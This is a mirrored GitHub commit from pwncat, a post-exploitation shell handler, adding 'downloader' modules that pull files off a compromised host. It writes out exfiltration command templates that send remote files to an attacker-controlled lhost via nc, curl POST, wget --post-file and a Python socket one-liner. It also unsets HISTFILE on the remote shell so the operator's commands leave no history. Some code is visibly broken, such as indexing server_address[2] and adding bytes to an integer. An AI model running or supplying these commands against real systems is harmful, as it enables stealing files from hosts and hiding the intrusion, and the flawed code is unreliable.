1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Initial framework for downloaders present

This commit is contained in:
Caleb Stewart 2020-05-07 14:51:18 -04:00
parent 4ca3151580
commit 5801895cba
8 changed files with 339 additions and 39 deletions

View File

@ -99,7 +99,7 @@ def main():
except ConnectionResetError:
handler.restore()
util.warn("connection reset by remote host")
else:
finally:
# Restore the shell
handler.restore()

View File

@ -0,0 +1,31 @@
#!/usr/bin/env python3
from pwncat.downloader.base import Downloader, DownloadError
from pwncat.downloader.nc import NetcatDownloader
from pwncat.downloader.curl import CurlDownloader
from pwncat.downloader.shell import ShellDownloader
all_downloaders = [NetcatDownloader, CurlDownloader, ShellDownloader]
downloaders = [NetcatDownloader, CurlDownloader]
fallback = ShellDownloader
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Downloader:
""" Locate an applicable downloader """
if hint is not None:
""" Try to return the requested downloader """
for d in all_downloaders:
if d.NAME != hint:
continue
d.check(pty)
return d
for d in downloaders:
try:
d.check(pty)
return d
except DownloadError:
continue
raise DownloadError("no acceptable downloaders found")

150
pwncat/downloader/base.py Normal file
View File

@ -0,0 +1,150 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import TCPServer, BaseRequestHandler
from functools import partial
import threading
from pwncat import util
class DownloadError(Exception):
""" An error occurred while attempting to run a downloader """
class Downloader:
# Binaries which are needed on the remote host for this downloader
BINARIES = []
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Check if the given PTY connection can support this downloader """
for binary in cls.BINARIES:
if pty.which(binary) is None:
raise DownloadError(f"required remote binary not found: {binary}")
def __init__(self, pty: "pwncat.pty.PtyHandler", remote_path: str, local_path: str):
self.pty = pty
self.local_path = local_path
self.remote_path = remote_path
def command(self) -> Generator[str, None, None]:
""" Generate the commands needed to send this file back. This is a
generator, which yields strings which will be executed on the remote
host. """
return
def serve(self, on_progress: Callable):
""" Start any servers on the local end which are needed to download the
content. """
return
def shutdown(self):
""" Shutdown any attacker servers that were started """
return
class HttpPostFileReceiver(BaseHTTPRequestHandler):
def __init__(self, request, addr, server, downloader: "HTTPDownloader"):
self.downloader = downloader
super(HttpPostFileReceiver, self).__init__(request, addr, server)
def do_POST(self):
""" handle http POST request """
if self.path != "/":
self.send_error(404)
return
self.send_response(200)
self.end_headers()
with open(self.downloader.local_path, "wb") as filp:
util.copyfileobj(self.rfile, filp, self.downloader.progress)
def log_message(self, *args, **kwargs):
return
class HTTPDownloader(Downloader):
""" Base class for HTTP POST based downloaders. This takes care of setting
up the local HTTP server and saving the file. Just provide the commands
for the remote host to trigger the upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
):
super(HTTPDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable):
self.server = HTTPServer(
("0.0.0.0", 0), partial(HttpPostFileReceiver, downloader=self)
)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
self.server.shutdown()
class RawDownloader(Downloader):
""" Base class for raw socket based downloaders. This takes care of setting
up the socket server and saving the file. Just provide the commands to
initiate the raw socket transfer on the remote host to trigger the
upload """
@classmethod
def check(cls, pty: "pwncat.pty.PtyHandler") -> bool:
""" Make sure we have an lhost """
if pty.vars.get("lhost", None) is None:
raise DownloadError("no lhost provided")
def __init__(
self,
pty: "pwncat.pty.PtyHandler",
remote_path: str,
local_path: str,
on_progress: Callable = None,
):
super(RawDownloader, self).__init__(pty, remote_path, local_path)
self.server = None
self.on_progress = on_progress
def serve(self, on_progress: Callable):
# Make sure it is accessible to the subclass
local_path = self.local_path
# Class to handle incoming connections
class ReceiveFile(BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
with open(local_path, "wb") as fp:
util.copyfileobj(self.request.makefile("rb"), fp, on_progress)
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)
thread = threading.Thread(
target=lambda: self.server.serve_forever(), daemon=True
)
thread.start()
def shutdown(self):
""" Shutdown the server """
self.server.shutdown()

20
pwncat/downloader/curl.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import HTTPDownloader, DownloadError
class CurlDownloader(HTTPDownloader):
BINARIES = ["curl"]
def command(self) -> Generator[str, None, None]:
""" Generate the curl command to post the file """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2]
curl = self.pty.which("curl")
remote_path = shlex.quote(self.remote_path)
yield f"{curl} --output {remote_path} http://{lhost}:{lport}"

20
pwncat/downloader/nc.py Normal file
View File

@ -0,0 +1,20 @@
#!/usr/bin/env python3
from typing import Generator
import shlex
from pwncat.downloader.base import RawDownloader, DownloadError
class NetcatDownloader(RawDownloader):
BINARIES = ["nc"]
def command(self) -> Generator[str, None, None]:
""" Return the commands needed to trigger this download """
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[2]
nc = self.pty.which("nc")
remote_file = shlex.quote(self.remote_path)
yield f"{nc} {lhost} {lport} < {remote_file}"

View File

@ -0,0 +1,46 @@
#!/usr/bin/env python3
from typing import Generator, Callable
import base64
import shlex
from pwncat.downloader.base import Downloader, DownloadError
class ShellDownloader(Downloader):
NAME = "shell"
BINARIES = ["dd", "base64"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
with open(self.local_path, "wb") as filp:
blocknr = 0
copied = 0
while True:
# Read the data
x = yield "dd if={} bs={} skip={} count=1 2>/dev/null | base64 -w0".format(
remote_path, self.BLOCKSZ, blocknr
)
if x == b"" or x == b"\r\n":
break
# Decode the data
data = base64.b64decode(x)
# Send the data and call the progress function
filp.write(data)
copied += data
self.on_progress(copied, len(data))
# Increment block number
blocknr += 1
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress

View File

@ -1,6 +1,7 @@
#!/usr/bin/env python3
from prompt_toolkit import prompt
from prompt_toolkit import prompt, PromptSession
from prompt_toolkit.shortcuts import ProgressBar
import subprocess
import logging
import argparse
import base64
@ -60,13 +61,20 @@ class PtyHandler:
self.lhost = None
self.known_binaries = {}
self.vars = {"lhost": None}
self.prompt = PromptSession("localhost$ ")
# We should always get a response within 3 seconds...
self.client.settimeout(3)
# Ensure history is disabled
util.info("disabling remote command history", overlay=True)
client.sendall(b"unset HISTFILE\n")
self.recvuntil(b"\n")
util.info("setting terminal prompt", overlay=True)
client.sendall(b'export PS1="(remote) \\u@\\h\\$ "\n\n')
self.recvuntil(b"\n")
self.recvuntil(b"\n")
# Locate interesting binaries
for name, friendly, priority in PtyHandler.INTERESTING_BINARIES:
@ -99,6 +107,9 @@ class PtyHandler:
util.info(f"opening pseudoterminal via {method}", overlay=True)
client.sendall(method_cmd.encode("utf-8") + b"\n")
# Make sure HISTFILE is unset in this PTY
self.run("unset HISTFILE")
# Synchronize the terminals
util.info("synchronizing terminal state", overlay=True)
self.do_sync([])
@ -159,12 +170,18 @@ class PtyHandler:
# Process commands
while self.state is State.COMMAND:
try:
line = prompt("localhost$ ")
except EOFError:
try:
line = self.prompt.prompt()
except (EOFError, OSError):
# The user pressed ctrl-d, go back
self.enter_raw()
continue
if len(line) > 0 and line[0] == "!":
# Allow running shell commands
subprocess.run(line[1:], shell=True)
continue
argv = shlex.split(line)
# Empty command
@ -179,6 +196,8 @@ class PtyHandler:
# Call the method
method(argv[1:])
except KeyboardInterrupt:
continue
def do_back(self, _):
""" Exit command mode """
@ -187,25 +206,29 @@ class PtyHandler:
def do_download(self, argv):
uploaders = {
"XXXXX": (
"curl": (
"http",
"curl -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
"{cmd} -X POST --data @{remote_file} http://{lhost}:{lport}/{lfile}",
),
"XXXX": (
"http",
"wget --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
"{cmd} --post-file {remote_file} http://{lhost}:{lport}/{lfile}",
),
"nc": ("raw", "nc {lhost} {lport} < {remote_file}"),
"python": (
"raw",
"""{cmd} -c 'from socket import AF_INET, socket, SOCK_STREAM; import shutil; s=socket(AF_INET, SOCK_STREAM); s.connect(("{lhost}", {lport})); fp = open("{remote_file}", "rb"); shutil.copyfileobj(fp, s.makefile("wb", buffering=0))'""",
),
"nxc": ("raw", "nc {lhost} {lport} < {remote_file}"),
}
servers = {"http": util.receive_http_file, "raw": util.receive_raw_file}
parser = argparse.ArgumentParser(prog="upload")
parser = argparse.ArgumentParser(prog="download")
parser.add_argument(
"--method",
"-m",
choices=uploaders.keys(),
default=None,
help="set the upload method (default: auto)",
help="set the download method (default: auto)",
)
parser.add_argument(
"--output",
@ -235,10 +258,11 @@ class PtyHandler:
if m in self.known_binaries:
util.info(f"downloading via {m}")
method = info
args.method = m
break
else:
util.warn(
"no available upload methods. falling back to dd/base64 method"
"no available download methods. falling back to dd/base64 method"
)
path = args.path
@ -271,20 +295,23 @@ class PtyHandler:
server = servers[method[0]](outfile, name, progress=on_progress)
command = method[1].format(
cmd=self.known_binaries[args.method][0],
remote_file=shlex.quote(path),
lhost=self.vars["lhost"],
lfile=name,
lport=server.server_address[1],
)
print(command)
result = self.run(command, wait=False)
else:
server = None
path = shlex.quote(path)
with open(outfile, "wb") as fp:
copied = 0
for chunk_nr in range(0, size, 8192):
blocksz = 1024 * 10
for chunk_nr in range(0, size // blocksz):
# Send the command
encoded = self.run(
f"dd if={shlex.quote(path)} bs=8192 count=1 skip={chunk_nr} 2>/dev/null | base64"
f"dd if={path} bs={blocksz} count=1 skip={chunk_nr} 2>/dev/null | base64 -w0",
)
chunk = base64.b64decode(encoded)
fp.write(chunk)
@ -466,15 +493,17 @@ class PtyHandler:
# This works by waiting for our known prompt
self.recvuntil(b"(remote) ")
try:
# Read to the end of the prompt
self.recvuntil(b"$ ", socket.MSG_DONTWAIT)
except BlockingIOError:
# The prompt may be "#"
try:
self.recvuntil(b"# ", socket.MSG_DONTWAIT)
except BlockingIOError:
pass
# Surround the output with known delimeters
# self.client.send(b"echo _OUTPUT_DELIM_START_\r")
# Send the command to the remote host
self.client.send(cmd.encode("utf-8") + EOL)
# self.client.send(b"echo -e '" + DELIM_ESCAPED + b"'\r")
# Initialize response buffer
response = b""

View File

@ -127,10 +127,14 @@ def enter_raw_mode():
sys.stdout.flush()
# Python doesn't provide a way to use setvbuf, so we reopen stdout
# and specify no buffering
old_stdout = sys.stdout
# and specify no buffering. Duplicating stdin allows the user to press C-d
# at the local prompt, and still be able to return to the remote prompt.
try:
os.dup2(sys.stdin.fileno(), sys.stdout.fileno())
except OSError:
pass
sys.stdout = TextIOWrapper(
os.fdopen(sys.stdout.fileno(), "ba+", buffering=0),
os.fdopen(os.dup(sys.stdin.fileno()), "bw", buffering=0),
write_through=True,
line_buffering=False,
)